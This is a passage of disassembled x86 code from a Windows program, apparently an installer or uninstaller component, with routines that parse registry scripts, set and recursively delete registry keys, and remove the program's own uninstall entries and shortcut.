push eax ; lpName
push 0 ; dwIndex
push ecx ; hKey
mov [esp+140h+cchName], 100h
call esi ; RegEnumKeyExA
test eax, eax
jnz short loc_402F8A
loc_402F4C: ; CODE XREF: sub_402EA0+E4j
lea ecx, [esp+120h+SubKey]
push ecx ; lpSubKey
lea ecx, [esp+124h+hKey]
call sub_402EA0
mov edi, eax
test edi, edi
jnz short loc_402FD0
lea edx, [esp+120h+ftLastWriteTime]
lea ecx, [esp+120h+SubKey]
push edx ; lpftLastWriteTime
mov edx, [esp+124h+hKey]
push eax ; lpcchClass
push eax ; lpClass
push eax ; lpReserved
lea eax, [esp+130h+cchName]
push eax ; lpcchName
push ecx ; lpName
push edi ; dwIndex
push edx ; hKey
mov [esp+140h+cchName], 100h
call esi ; RegEnumKeyExA
test eax, eax
jz short loc_402F4C
mov edi, [esp+120h+var_10C]
loc_402F8A: ; CODE XREF: sub_402EA0+AAj
mov eax, [esp+120h+hKey]
test eax, eax
jz short loc_402FA1
push eax ; hKey
call ds:RegCloseKey ; RegCloseKey
mov [esp+120h+hKey], 0
loc_402FA1: ; CODE XREF: sub_402EA0+F0j
mov eax, [esp+120h+lpSubKey]
mov ecx, [edi]
push eax ; lpSubKey
push ecx ; hKey
call ds:RegDeleteKeyA ; RegDeleteKeyA
mov esi, eax
mov eax, [esp+120h+hKey]
test eax, eax
jz short loc_402FC3
push eax ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_402FC3: ; CODE XREF: sub_402EA0+66j
; sub_402EA0+11Aj
mov eax, esi
pop edi
pop esi
add esp, 118h
retn 4
; ---------------------------------------------------------------------------
loc_402FD0: ; CODE XREF: sub_402EA0+BEj
mov eax, [esp+120h+hKey]
test eax, eax
jz short loc_402FDF
push eax ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_402FDF: ; CODE XREF: sub_402EA0+136j
mov eax, edi
pop edi
pop esi
add esp, 118h
retn 4
sub_402EA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_402FF0(int,LPCSTR lpValueName,int)
sub_402FF0 proc near ; CODE XREF: sub_402370+73Bp
; sub_402370+862p
String1 = byte ptr -2010h
Data = byte ptr -1010h
var_10 = dword ptr -10h
pulOut = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
lpValueName = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 2010h
call sub_40AF70
push ebx
push esi
mov esi, ecx
push edi
lea edi, [ebp+String1]
mov eax, [esi]
mov cl, [eax]
push ecx
mov ecx, esi
call sub_401F80
test eax, eax
jz short loc_403031
loc_403018: ; CODE XREF: sub_402FF0+3Fj
mov edx, [esi]
push edx ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
mov al, [eax]
push eax
mov ecx, esi
call sub_401F80
test eax, eax
jnz short loc_403018
loc_403031: ; CODE XREF: sub_402FF0+26j
mov ecx, [esi]
mov al, [ecx]
test al, al
jz loc_40312B
cmp al, 27h
jnz loc_40313F
push ecx ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
mov cl, [eax]
test cl, cl
jz short loc_4030A0
loc_403054: ; CODE XREF: sub_402FF0+AEj
mov ecx, esi
call sub_401D20
test eax, eax
jnz short loc_4030A0
mov eax, [esi]
cmp byte ptr [eax], 27h
jnz short loc_40306F
push eax ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
loc_40306F: ; CODE XREF: sub_402FF0+74j
mov ebx, [esi]
push ebx ; lpsz
call ds:CharNextA ; CharNextA
lea ecx, [edi+2]
lea edx, [ebp+Data]
cmp ecx, edx
mov [esi], eax
jnb loc_40312B
cmp ebx, eax
jnb short loc_40309B
mov ecx, ebx
loc_403091: ; CODE XREF: sub_402FF0+A9j
mov dl, [ecx]
inc ecx
mov [edi], dl
inc edi
cmp ecx, eax
jb short loc_403091
loc_40309B: ; CODE XREF: sub_402FF0+9Dj
cmp byte ptr [eax], 0
jnz short loc_403054
loc_4030A0: ; CODE XREF: sub_402FF0+62j
; sub_402FF0+6Dj
mov eax, [esi]
cmp byte ptr [eax], 0
jz loc_40312B
push eax ; lpsz
mov byte ptr [edi], 0
call ds:CharNextA ; CharNextA
mov [esi], eax
loc_4030B7: ; CODE XREF: sub_402FF0+17Fj
mov al, byte_40FC60
test al, 1
jnz short loc_403104
mov ecx, ds:off_40D1FC
mov edx, ds:off_40D200
or al, 1
mov word_40FBB4, 8
mov byte_40FC60, al
mov eax, ds:off_40D1F8
mov dword_40FBB0, eax
mov dword_40FBB8, ecx
mov word_40FBBC, 13h
mov dword_40FBC0, edx
mov word_40FBC4, 11h
loc_403104: ; CODE XREF: sub_402FF0+CEj
xor ebx, ebx
mov edi, offset dword_40FBB0
loc_40310B: ; CODE XREF: sub_402FF0+139j
mov eax, [edi]
lea ecx, [ebp+String1]
push eax ; lpString2
push ecx ; lpString1
call ds:lstrcmpiA ; lstrcmpiA
test eax, eax
jz short loc_403174
add edi, 8
inc ebx
cmp edi, offset dword_40FBC8
jl short loc_40310B
loc_40312B: ; CODE XREF: sub_402FF0+47j
; sub_402FF0+95j ...
mov eax, 80020009h
lea esp, [ebp-201Ch]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
loc_40313F: ; CODE XREF: sub_402FF0+4Fj
; sub_402FF0+17Aj
push eax
mov ecx, esi
call sub_401F80
test eax, eax
jnz short loc_40316C
mov ebx, [esi]
push ebx ; lpsz
call ds:CharNextA ; CharNextA
cmp ebx, eax
mov [esi], eax
jnb short loc_403166
mov ecx, ebx
loc_40315C: ; CODE XREF: sub_402FF0+174j
mov dl, [ecx]
inc ecx
mov [edi], dl
inc edi
cmp ecx, eax
jb short loc_40315C
loc_403166: ; CODE XREF: sub_402FF0+168j
mov al, [eax]
test al, al
jnz short loc_40313F
loc_40316C: ; CODE XREF: sub_402FF0+159j
mov byte ptr [edi], 0
jmp loc_4030B7
; ---------------------------------------------------------------------------
loc_403174: ; CODE XREF: sub_402FF0+12Dj
mov di, word_40FBB4[ebx*8]
loc_40317C: ; CODE XREF: sub_402FF0+1B1j
mov eax, [esi]
movsx ecx, byte ptr [eax]
add ecx, 0FFFFFFF7h
cmp ecx, 17h ; switch 24 cases
ja short loc_4031A3 ; default
; jumptable 00403191 cases 2,3,5-22
xor edx, edx
mov dl, ds:byte_403394[ecx]
jmp ds:off_40338C[edx*4] ; switch jump
loc_403198: ; DATA XREF: .text:off_40338Co
push eax ; jumptable 00403191 cases 0,1,4,23
call ds:CharNextA ; CharNextA
mov [esi], eax
jmp short loc_40317C
; ---------------------------------------------------------------------------
loc_4031A3: ; CODE XREF: sub_402FF0+197j
; sub_402FF0+1A1j
; DATA XREF: ...
lea eax, [ebp+Data] ; default
; jumptable 00403191 cases 2,3,5-22
mov ecx, esi
push eax
call sub_402020
test eax, eax
jl loc_40337C
and edi, 0FFFFh
mov eax, edi
sub eax, 8
jz loc_40333D
sub eax, 9
jz short loc_40324D
sub eax, 2
jnz loc_403367
lea ecx, [ebp+Data]
test ecx, ecx
jnz short loc_4031E6
xor ebx, ebx
jmp short loc_40321F
; ---------------------------------------------------------------------------
loc_4031E6: ; CODE XREF: sub_402FF0+1F0j
lea edx, [ebp+Data]
push edx ; lpString
call ds:lstrlenA ; lstrlenA
mov edi, eax
inc edi
lea eax, [edi+edi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push edi ; cchWideChar
push ebx ; lpWideCharStr
lea eax, [ebp+Data]
push 0FFFFFFFFh ; cbMultiByte
push eax ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
loc_40321F: ; CODE XREF: sub_402FF0+1F4j
lea ecx, [ebp+pulOut]
push ecx ; pulOut
push 0 ; dwFlags
push 0 ; lcid
push ebx ; strIn
call ds:VarUI4FromStr
mov edx, [ebp+pulOut]
mov ecx, [ebp+lpValueName]
mov [ebp+var_4], edx
mov edx, [ebp+arg_0]
lea eax, [ebp+var_4]
push 4
push eax
mov eax, [edx]
push 4
push 0
push ecx
push eax
jmp loc_403361
; ---------------------------------------------------------------------------
loc_40324D: ; CODE XREF: sub_402FF0+1DDj
lea ecx, [ebp+Data]
push ecx ; lpString
call ds:lstrlenA ; lstrlenA
test al, 1
mov [ebp+var_4], eax
jz short loc_403275
mov eax, 80004005h
lea esp, [ebp-201Ch]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
loc_403275: ; CODE XREF: sub_402FF0+26Fj
cdq
sub eax, edx
mov ebx, eax
sar ebx, 1
mov eax, ebx
mov [ebp+var_10], ebx
add eax, 3
and al, 0FCh
call sub_40AF70
mov ecx, ebx
mov edi, esp
mov edx, ecx
xor eax, eax
shr ecx, 2
mov [ebp+var_8], edi
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov eax, esp
test eax, eax
jnz short loc_4032BC
mov eax, 80004005h
lea esp, [ebp-201Ch]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
loc_4032BC: ; CODE XREF: sub_402FF0+2B6j
mov eax, [ebp+var_4]
xor edi, edi
test eax, eax
jle short loc_403328
loc_4032C5: ; CODE XREF: sub_402FF0+333j
mov al, [ebp+edi+Data]
movsx ecx, al
add ecx, 0FFFFFFD0h
cmp ecx, 36h ; switch 55 cases
ja short loc_4032F8 ; default
; jumptable 004032DF cases 10-16,23-48
xor edx, edx
mov dl, ds:byte_4033BC[ecx]
jmp ds:off_4033AC[edx*4] ; switch jump
loc_4032E6: ; DATA XREF: .text:off_4033ACo
sub al, 30h ; jumptable 004032DF cases 0-9
mov bl, al
jmp short loc_4032FA
; ---------------------------------------------------------------------------
loc_4032EC: ; CODE XREF: sub_402FF0+2EFj
; DATA XREF: .text:off_4033ACo
sub al, 37h ; jumptable 004032DF cases 17-22
mov bl, al
jmp short loc_4032FA
; ---------------------------------------------------------------------------
loc_4032F2: ; CODE XREF: sub_402FF0+2EFj
; DATA XREF: .text:off_4033ACo
sub al, 57h ; jumptable 004032DF cases 49-54
mov bl, al
jmp short loc_4032FA
; ---------------------------------------------------------------------------
loc_4032F8: ; CODE XREF: sub_402FF0+2E5j
; sub_402FF0+2EFj
; DATA XREF: ...
xor bl, bl ; default
; jumptable 004032DF cases 10-16,23-48
loc_4032FA: ; CODE XREF: sub_402FF0+2FAj
; sub_402FF0+300j ...
mov ecx, [ebp+var_8]
mov eax, edi
cdq
sub eax, edx
mov edx, edi
sar eax, 1
and edx, 1
add eax, ecx
shl edx, 2
mov ecx, 4
sub ecx, edx
mov dl, [eax]
shl bl, cl
or dl, bl
inc edi
mov [eax], dl
mov eax, [ebp+var_4]
cmp edi, eax
jl short loc_4032C5
mov ebx, [ebp+var_10]
loc_403328: ; CODE XREF: sub_402FF0+2D3j
mov ecx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov edx, [ebp+lpValueName]
push ebx
mov eax, [eax]
push ecx
push 3
push 0
push edx
push eax
jmp short loc_403361
; ---------------------------------------------------------------------------
loc_40333D: ; CODE XREF: sub_402FF0+1D4j
lea eax, [ebp+Data]
push eax ; lpString
call ds:lstrlenA ; lstrlenA
mov edx, [ebp+lpValueName]
inc eax
push eax ; cbData
mov eax, [ebp+arg_0]
lea ecx, [ebp+Data]
push ecx ; lpData
mov ecx, [eax]
push 1 ; dwType
push 0 ; Reserved
push edx ; lpValueName
push ecx ; hKey
loc_403361: ; CODE XREF: sub_402FF0+258j
; sub_402FF0+34Bj
call ds:RegSetValueExA ; RegSetValueExA
loc_403367: ; CODE XREF: sub_402FF0+1E2j
mov edx, [ebp+arg_8]
mov ecx, esi
push edx
call sub_402020
xor ecx, ecx
test eax, eax
setnl cl
dec ecx
and eax, ecx
loc_40337C: ; CODE XREF: sub_402FF0+1C3j
lea esp, [ebp-201Ch]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
sub_402FF0 endp
; ---------------------------------------------------------------------------
align 4
off_40338C dd offset loc_403198 ; DATA XREF: sub_402FF0+1A1r
dd offset loc_4031A3 ; jump table for switch statement
byte_403394 db 0, 0, 1, 1 ; DATA XREF: sub_402FF0+19Br
db 0, 1, 1, 1 ; indirect table for switch statement
db 1, 1, 1, 1
db 1, 1, 1, 1
db 1, 1, 1, 1
db 1, 1, 1, 0
off_4033AC dd offset loc_4032E6, offset loc_4032EC, offset loc_4032F2
; DATA XREF: sub_402FF0+2EFr
dd offset loc_4032F8 ; jump table for switch statement
byte_4033BC db 0, 0, 0, 0 ; DATA XREF: sub_402FF0+2E9r
db 0, 0, 0, 0 ; indirect table for switch statement
db 0, 0, 3, 3
db 3, 3, 3, 3
db 3, 1, 1, 1
db 1, 1, 1, 3
db 3, 3, 3, 3
db 3, 3, 3, 3
db 3, 3, 3, 3
db 3, 3, 3, 3
db 3, 3, 3, 3
db 3, 3, 3, 3
db 3, 2, 2, 2
db 2, 2, 2
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_403400(HKEY hKey)
sub_403400 proc near ; CODE XREF: sub_402370+8C8p
; sub_402370+94Fp
cSubKeys = dword ptr -4
hKey = dword ptr 4
push ecx
push 0 ; lpftLastWriteTime
push 0 ; lpcbSecurityDescriptor
mov ecx, [esp+0Ch+hKey]
push 0 ; lpcbMaxValueLen
push 0 ; lpcbMaxValueNameLen
push 0 ; lpcValues
push 0 ; lpcbMaxClassLen
lea eax, [esp+1Ch+cSubKeys]
push 0 ; lpcbMaxSubKeyLen
push eax ; lpcSubKeys
push 0 ; lpReserved
push 0 ; lpcchClass
push 0 ; lpClass
push ecx ; hKey
mov [esp+34h+cSubKeys], 0
call ds:RegQueryInfoKeyA ; RegQueryInfoKeyA
test eax, eax
jge short loc_403437
xor eax, eax
pop ecx
retn 4
; ---------------------------------------------------------------------------
loc_403437: ; CODE XREF: sub_403400+2Fj
mov eax, [esp+4+cSubKeys]
xor edx, edx
cmp edx, eax
sbb eax, eax
neg eax
pop ecx
retn 4
sub_403400 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_403450(DWORD cchValueName)
sub_403450 proc near ; CODE XREF: sub_402370+8D7p
cchValueName = dword ptr 4
ValueName = byte ptr 8
hKey = dword ptr 100Ch
mov eax, 1008h
call sub_40AF70
push esi
push 0 ; lpftLastWriteTime
push 0 ; lpcbSecurityDescriptor
mov esi, [esp+0Ch+hKey]
push 0 ; lpcbMaxValueLen
lea eax, [esp+10h]
push 0 ; lpcbMaxValueNameLen
push eax ; lpcValues
push 0 ; lpcbMaxClassLen
push 0 ; lpcbMaxSubKeyLen
push 0 ; lpcSubKeys
push 0 ; lpReserved
push 0 ; lpcchClass
push 0 ; lpClass
push esi ; hKey
mov dword ptr [esp+34h], 0
call ds:RegQueryInfoKeyA ; RegQueryInfoKeyA
test eax, eax
jz short loc_40349A
loc_40348E: ; CODE XREF: sub_403450+78j
; sub_403450+80j
xor eax, eax
pop esi
add esp, 1008h
retn 4
; ---------------------------------------------------------------------------
loc_40349A: ; CODE XREF: sub_403450+3Cj
mov eax, [esp+4]
cmp eax, 1
jnz short loc_4034E1
push 0 ; lpcbData
push 0 ; lpData
push 0 ; lpType
lea ecx, [esp+10h+cchValueName]
push 0 ; lpReserved
lea edx, [esp+14h+ValueName]
push ecx ; lpcchValueName
push edx ; lpValueName
push 0 ; dwIndex
push esi ; hKey
mov [esp+24h+cchValueName], 1000h
call ds:RegEnumValueA ; RegEnumValueA
test eax, eax
jnz short loc_40348E
mov al, [esp+4+ValueName]
test al, al
jz short loc_40348E
mov eax, 1
pop esi
add esp, 1008h
retn 4
; ---------------------------------------------------------------------------
loc_4034E1: ; CODE XREF: sub_403450+51j
xor ecx, ecx
pop esi
cmp ecx, eax
sbb eax, eax
neg eax
add esp, 1008h
retn 4
sub_403450 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_403500 proc near ; CODE XREF: sub_402370+8F9p
; sub_402370+9E0p
arg_1000 = dword ptr 1004h
mov eax, 1000h
call sub_40AF70
push ebx
mov ebx, [esp+4+arg_1000]
push ebp
push esi
mov al, [ebx]
push edi
cmp al, 3Dh
mov esi, ecx
jnz loc_403651
mov eax, [esi]
mov cl, [eax]
push ecx
mov ecx, esi
call sub_401F80
mov ebp, ds:CharNextA
test eax, eax
jz short loc_40354C
loc_403537: ; CODE XREF: sub_403500+4Aj
mov edx, [esi]
push edx ; lpsz
call ebp ; CharNextA
mov [esi], eax
mov al, [eax]
push eax
mov ecx, esi
call sub_401F80
test eax, eax
jnz short loc_403537
loc_40354C: ; CODE XREF: sub_403500+35j
mov ecx, [esi]
mov al, [ecx]
test al, al
jz loc_40361C
cmp al, 27h
jnz loc_4035EA
push ecx ; lpsz
call ebp ; CharNextA
mov [esi], eax
mov cl, [eax]
test cl, cl
jz short loc_4035BA
loc_40356B: ; CODE XREF: sub_403500+B8j
mov eax, [esi]
cmp byte ptr [eax], 27h
jnz short loc_40357A
push eax ; lpsz
call ebp ; CharNextA
cmp byte ptr [eax], 27h
jnz short loc_4035BA
loc_40357A: ; CODE XREF: sub_403500+70j
mov eax, [esi]
cmp byte ptr [eax], 27h
jnz short loc_403586
push eax ; lpsz
call ebp ; CharNextA
mov [esi], eax
loc_403586: ; CODE XREF: sub_403500+7Fj
mov edi, [esi]
push edi ; lpsz
call ebp ; CharNextA
mov ecx, [esp+10h+arg_1000]
lea edx, [ebx+2]
add ecx, 1000h
mov [esi], eax
cmp edx, ecx
jnb short loc_40361C
cmp edi, eax
jnb short loc_4035B3
mov eax, edi
loc_4035A7: ; CODE XREF: sub_403500+B1j
mov cl, [eax]
inc eax
mov [ebx], cl
mov ecx, [esi]
inc ebx
cmp eax, ecx
jb short loc_4035A7
loc_4035B3: ; CODE XREF: sub_403500+A3j
mov edx, [esi]
cmp byte ptr [edx], 0
jnz short loc_40356B
loc_4035BA: ; CODE XREF: sub_403500+69j
; sub_403500+78j
mov eax, [esi]
cmp byte ptr [eax], 0
jz short loc_40361C
mov byte ptr [ebx], 0
mov ecx, [esi]
push ecx ; lpsz
loc_4035C7: ; CODE XREF: sub_403500+E8j
call ebp ; CharNextA
mov [esi], eax
loc_4035CB: ; CODE XREF: sub_403500+11Aj
mov eax, [esi]
movsx ecx, byte ptr [eax]
add ecx, 0FFFFFFF7h
cmp ecx, 17h ; switch 24 cases
ja short loc_40362E ; default
; jumptable 004035E0 cases 2,3,5-22
xor edx, edx
mov dl, ds:byte_403668[ecx]
jmp ds:off_403660[edx*4] ; switch jump
loc_4035E7: ; DATA XREF: .text:off_403660o
push eax ; jumptable 004035E0 cases 0,1,4,23
jmp short loc_4035C7
; ---------------------------------------------------------------------------
loc_4035EA: ; CODE XREF: sub_403500+5Aj
; sub_403500+115j
push eax
mov ecx, esi
call sub_401F80
test eax, eax
jnz short loc_403617
mov edi, [esi]
push edi ; lpsz
call ebp ; CharNextA
cmp edi, eax
mov [esi], eax
jnb short loc_40360F
mov eax, edi
loc_403603: ; CODE XREF: sub_403500+10Dj
mov dl, [eax]
inc eax
mov [ebx], dl
mov ecx, [esi]
inc ebx
cmp eax, ecx
jb short loc_403603
loc_40360F: ; CODE XREF: sub_403500+FFj
mov eax, [esi]
mov al, [eax]
test al, al
jnz short loc_4035EA
loc_403617: ; CODE XREF: sub_403500+F4j
mov byte ptr [ebx], 0
jmp short loc_4035CB
; ---------------------------------------------------------------------------
loc_40361C: ; CODE XREF: sub_403500+52j
; sub_403500+9Fj ...
pop edi
pop esi
pop ebp
mov eax, 80020009h
pop ebx
add esp, 1000h
retn 4
; ---------------------------------------------------------------------------
loc_40362E: ; CODE XREF: sub_403500+D6j
; sub_403500+E0j
; DATA XREF: ...
lea eax, [esp+10h] ; default
; jumptable 004035E0 cases 2,3,5-22
mov ecx, esi
push eax
call sub_402020
test eax, eax
jl short loc_403653
mov ecx, [esp+10h+arg_1000]
push ecx
mov ecx, esi
call sub_402020
test eax, eax
jl short loc_403653
loc_403651: ; CODE XREF: sub_403500+1Bj
xor eax, eax
loc_403653: ; CODE XREF: sub_403500+13Cj
; sub_403500+14Fj
pop edi
pop esi
pop ebp
pop ebx
add esp, 1000h
retn 4
sub_403500 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
off_403660 dd offset loc_4035E7 ; DATA XREF: sub_403500+E0r
dd offset loc_40362E ; jump table for switch statement
byte_403668 db 0, 0, 1, 1 ; DATA XREF: sub_403500+DAr
db 0, 1, 1, 1 ; indirect table for switch statement
db 1, 1, 1, 1
db 1, 1, 1, 1
db 1, 1, 1, 1
db 1, 1, 1, 0
; =============== S U B R O U T I N E =======================================
sub_403680 proc near ; CODE XREF: sub_4010C0+3A4p
mov eax, ecx
xor ecx, ecx
mov [eax+4], ecx
mov [eax+18h], ecx
retn
sub_403680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_403690(int,LPCSTR lpsz)
sub_403690 proc near ; CODE XREF: sub_4010C0+141p
; sub_4010C0+17Ap
arg_0 = dword ptr 4
lpsz = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
test esi, esi
jz short loc_4036CA
mov ebx, [esp+0Ch+lpsz]
mov edi, ds:CharNextA
loc_4036A5: ; CODE XREF: sub_403690+38j
cmp byte ptr [esi], 0
jz short loc_4036CA
test ebx, ebx
mov eax, ebx
jz short loc_4036C1
loc_4036B0: ; CODE XREF: sub_403690+2Fj
mov cl, [eax]
test cl, cl
jz short loc_4036C1
cmp [esi], cl
jz short loc_4036D0
push eax ; lpsz
call edi ; CharNextA
test eax, eax
jnz short loc_4036B0
loc_4036C1: ; CODE XREF: sub_403690+1Ej
; sub_403690+24j
push esi ; lpsz
call edi ; CharNextA
mov esi, eax
test esi, esi
jnz short loc_4036A5
loc_4036CA: ; CODE XREF: sub_403690+9j
; sub_403690+18j
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4036D0: ; CODE XREF: sub_403690+28j
push esi ; lpsz
call edi ; CharNextA
pop edi
pop esi
pop ebx
retn
sub_403690 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4036E0(HINSTANCE hInstance)
sub_4036E0 proc near ; CODE XREF: sub_4010C0+37Ap
var_B38 = byte ptr -0B38h
FileName = byte ptr -738h
String = byte ptr -338h
Data = byte ptr -138h
bstrString = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_E = byte ptr -0Eh
Type = dword ptr -0Ch
hKey = dword ptr -8
cbData = dword ptr -4
hInstance = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B38h
mov ecx, [ebp+hInstance]
push ebx
push esi
push edi
lea eax, [ebp+String]
push 200h ; cchBufferMax
push eax ; lpBuffer
xor ebx, ebx
push 71h ; uID
push ecx ; hInstance
mov [ebp+bstrString], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], ebx
mov [ebp+var_2C], bl
mov [ebp+var_E], bl
call ds:LoadStringA ; LoadStringA
mov edx, [ebp+bstrString]
mov esi, eax
push edx ; bstrString
call ds:SysFreeString
cmp esi, ebx
jz short loc_40377E
lea eax, [ebp+String]
test eax, eax
jnz short loc_40373D
xor edi, edi
push edi ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_403781
; ---------------------------------------------------------------------------
loc_40373D: ; CODE XREF: sub_4036E0+4Dj
lea ecx, [ebp+String]
push ecx ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi ; cchWideChar
push edi ; lpWideCharStr
lea edx, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push edx ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
mov [edi], bx
call ds:MultiByteToWideChar ; MultiByteToWideChar
push edi ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_403781
; ---------------------------------------------------------------------------
loc_40377E: ; CODE XREF: sub_4036E0+43j
mov [ebp+bstrString], ebx
loc_403781: ; CODE XREF: sub_4036E0+5Bj
; sub_4036E0+9Cj
mov eax, offset MultiByteStr ; "\\"
test eax, eax
jnz short loc_40378E
xor edi, edi
jmp short loc_4037BF
; ---------------------------------------------------------------------------
loc_40378E: ; CODE XREF: sub_4036E0+A8j
push offset MultiByteStr ; "\\"
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi ; cchWideChar
push edi ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push offset MultiByteStr ; "\\"
push ebx ; dwFlags
push ebx ; CodePage
mov [edi], bx
call ds:MultiByteToWideChar ; MultiByteToWideChar
loc_4037BF: ; CODE XREF: sub_4036E0+ACj
push edi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push edi
lea ecx, [ebp+bstrString]
call sub_403920
mov ecx, [ebp+hInstance]
push 7Ah ; bstrString
push ecx ; hInstance
lea ecx, [ebp+bstrString]
call sub_40A840
lea edx, [ebp+hKey]
lea ecx, [ebp+bstrString]
push edx ; phkResult
push 20019h ; samDesired
push ebx ; ulOptions
call sub_40A2D0
push eax ; lpSubKey
push 80000001h ; hKey
call ds:RegOpenKeyExA ; RegOpenKeyExA
test eax, eax
jnz loc_4038D4
mov edx, [ebp+hKey]
mov esi, ds:RegQueryValueExA
lea eax, [ebp+cbData]
lea ecx, [ebp+Type]
push eax ; lpcbData
push ebx ; lpData
push ecx ; lpType
push ebx ; lpReserved
push offset ValueName ; "uninstExe"
push edx ; hKey
call esi ; RegQueryValueExA
test eax, eax
jnz short loc_403864
lea eax, [ebp+cbData]
lea ecx, [ebp+Data]
push eax ; lpcbData
mov eax, [ebp+hKey]
lea edx, [ebp+Type]
push ecx ; lpData
push edx ; lpType
push ebx ; lpReserved
push offset ValueName ; "uninstExe"
push eax ; hKey
call esi ; RegQueryValueExA
mov ecx, [ebp+cbData]
lea edx, [ebp+Data]
push ecx
lea eax, [ebp+var_B38]
push edx
push eax
call sub_40B070
mov ecx, [ebp+cbData]
add esp, 0Ch
mov [ebp+ecx+var_B38], bl
jmp short loc_40386A
; ---------------------------------------------------------------------------
loc_403864: ; CODE XREF: sub_4036E0+141j
mov [ebp+var_B38], bl
loc_40386A: ; CODE XREF: sub_4036E0+182j
mov ecx, [ebp+hKey]
lea edx, [ebp+cbData]
push edx ; lpcbData
lea eax, [ebp+Type]
push ebx ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset aUninstshortcut ; "uninstShortcut"
push ecx ; hKey
call esi ; RegQueryValueExA
test eax, eax
jnz short loc_4038C4
lea edx, [ebp+cbData]
lea eax, [ebp+Data]
push edx ; lpcbData
mov edx, [ebp+hKey]
lea ecx, [ebp+Type]
push eax ; lpData
push ecx ; lpType
push ebx ; lpReserved
push offset aUninstshortcut ; "uninstShortcut"
push edx ; hKey
call esi ; RegQueryValueExA
mov eax, [ebp+cbData]
lea ecx, [ebp+Data]
push eax
lea edx, [ebp+FileName]
push ecx
push edx
call sub_40B070
mov eax, [ebp+cbData]
add esp, 0Ch
mov [ebp+eax+FileName], bl
jmp short loc_4038CA
; ---------------------------------------------------------------------------
loc_4038C4: ; CODE XREF: sub_4036E0+1A1j
mov [ebp+FileName], bl
loc_4038CA: ; CODE XREF: sub_4036E0+1E2j
mov ecx, [ebp+hKey]
push ecx ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_4038D4: ; CODE XREF: sub_4036E0+11Ej
lea edi, [ebp+FileName]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
jz short loc_4038F3
lea edx, [ebp+FileName]
push edx ; lpFileName
call ds:DeleteFileA ; DeleteFileA
loc_4038F3: ; CODE XREF: sub_4036E0+204j
lea ecx, [ebp+bstrString]
call sub_40A2D0
mov esi, ds:RegDeleteKeyA
push eax ; lpSubKey
push 80000001h ; hKey
call esi ; RegDeleteKeyA
push offset SubKey ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h ; hKey
call esi ; RegDeleteKeyA
push ebx ; uExitCode
call sub_40AF9F
nop
nop
nop
nop
nop
sub_4036E0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_403920 proc near ; CODE XREF: sub_4036E0+EBp
; sub_4039C0+141p ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push ebp
mov ebp, ecx
push esi
mov eax, [ebp+0]
test eax, eax
jnz short loc_403931
xor esi, esi
jmp short loc_40393A
; ---------------------------------------------------------------------------
loc_403931: ; CODE XREF: sub_403920+Bj
push eax ; BSTR
call ds:SysStringLen
mov esi, eax
loc_40393A: ; CODE XREF: sub_403920+Fj
mov eax, [esp+10h+arg_4]
add eax, esi
push eax ; ui
push 0 ; strIn
mov [esp+18h+var_4], eax
call ds:SysAllocStringLen
mov ebx, eax
test ebx, ebx
jnz short loc_40395F
pop esi
pop ebp
mov eax, 8007000Eh
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_40395F: ; CODE XREF: sub_403920+31j
lea eax, [esi+esi]
mov esi, [ebp+0]
mov ecx, eax
push edi
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, edx
